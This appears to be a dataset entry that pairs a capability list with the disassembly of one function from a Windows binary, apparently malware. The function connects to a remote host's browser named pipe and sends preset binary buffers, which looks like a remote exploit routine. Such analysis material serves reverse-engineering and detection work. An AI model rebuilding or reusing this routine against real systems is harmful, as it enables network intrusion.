Function at 0x40bbbd
Capabilities:
Connect network resource
Initialize winsock library
Read pipe
Write pipe

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1470
call fcn.0040fc90
and dword [ebp - 0x1a0], 0
or dword [ebp - 0x41c], 0xffffffff
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x19c], eax
mov eax, dword [sym.imp.USER32.dll_wsprintfA]
mov dword [ebp - 4], eax
mov eax, dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x146c], eax
and dword [ebp - 0x2ec], 0
movzx eax, byte [0x41376a]
cmp eax, 0xf2
jne 0x40bc12
xor eax, eax
jmp 0x40beb1
push 0x104
push 0
lea eax, [ebp - 0x2e8]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x198]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
push str._browser
push dword [ebp + 8]
push str._spipe_s
lea eax, [ebp - 0x2e8]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
push 0x104
push 0
lea eax, [ebp - 0x3f8]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0
push dword [ebp + 8]
push str._spipe_s
lea eax, [ebp - 0x3f8]
push eax
call dword [ebp - 4]
add esp, 0x10
and dword [ebp - 0x414], 0
and dword [ebp - 0x408], 0
lea eax, [ebp - 0x3f8]
mov dword [ebp - 0x404], eax
and dword [ebp - 0x3fc], 0
push 0
push 0x410deb
push 0x410deb
lea eax, [ebp - 0x418]
push eax
call sub.MPR.dll_WNetAddConnection2A
test eax, eax
je 0x40bcc8
xor eax, eax
jmp 0x40beb1
push 0x48
push str.y_b_t
lea eax, [ebp - 0x1468]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
push 0x40
push 0
lea eax, [ebp - 0x1e0]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
call fcn.0040246e
push eax
push str._.8x
lea eax, [ebp - 0x1e0]
push eax
call dword [ebp - 4]
add esp, 0xc
and dword [ebp - 0x1470], 0
jmp 0x40bd1f
mov eax, dword [ebp - 0x1470]
inc eax
mov dword [ebp - 0x1470], eax
cmp dword [ebp - 0x1470], 8
jge 0x40bd4a
mov eax, dword [ebp - 0x1470]
movsx eax, byte [ebp + eax - 0x1e0]
xor eax, 0xf2
mov ecx, dword [ebp - 0x1470]
mov byte [ebp + ecx - 0x1e0], al
jmp 0x40bd12
mov eax, dword [ebp - 0x1e0]
mov dword [0x4137a7], eax
mov eax, dword [ebp - 0x1dc]
mov dword [0x4137ab], eax
push 0
push 0
push 3
push 0
push 0
push 0xc0000000
lea eax, [ebp - 0x2e8]
push eax
call dword [ebp - 0x146c]
mov dword [ebp - 0x41c], eax
cmp dword [ebp - 0x41c], 0xffffffff
jne 0x40bd98
call dword [sym.imp.WS2_32.dll_WSACleanup]
xor eax, eax
jmp 0x40beb1
push 0x10
push 0x410f7c
lea eax, [ebp - 0x1448]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
push 3
pop eax
mov word [ebp - 0x1438], ax
xor eax, eax
mov word [ebp - 0x1436], ax
push 0x1000
push 0
lea eax, [ebp - 0x1420]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0
lea eax, [ebp - 0x1a0]
push eax
push 0x1000
lea eax, [ebp - 0x1420]
push eax
push 0x48
lea eax, [ebp - 0x1468]
push eax
push dword [ebp - 0x41c]
call dword [sym.imp.KERNEL32.dll_TransactNamedPipe]
push 0x139
push 0x4136a0
push 0x413502
call sub.MSVCRT.dll_memcpy
add esp, 0xc
push 0
lea eax, [ebp - 0x1a0]
push eax
push 0x1000
lea eax, [ebp - 0x1420]
push eax
push 0x1e4
push 0x4134b8
push dword [ebp - 0x41c]
call dword [sym.imp.KERNEL32.dll_TransactNamedPipe]
push 0
lea eax, [ebp - 0x1a0]
push eax
push 0x1000
lea eax, [ebp - 0x1420]
push eax
push 0xa4
push 0x413410
push dword [ebp - 0x41c]
call dword [sym.imp.KERNEL32.dll_TransactNamedPipe]
push dword [ebp - 0x41c]
call dword [ebp - 0x19c]
push 0x410f90
push str.Mpr.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x2ec], eax
push 1
push 1
lea eax, [ebp - 0x3f8]
push eax
call dword [ebp - 0x2ec]
call dword [sym.imp.WS2_32.dll_WSACleanup]
xor eax, eax
inc eax
leave
ret 4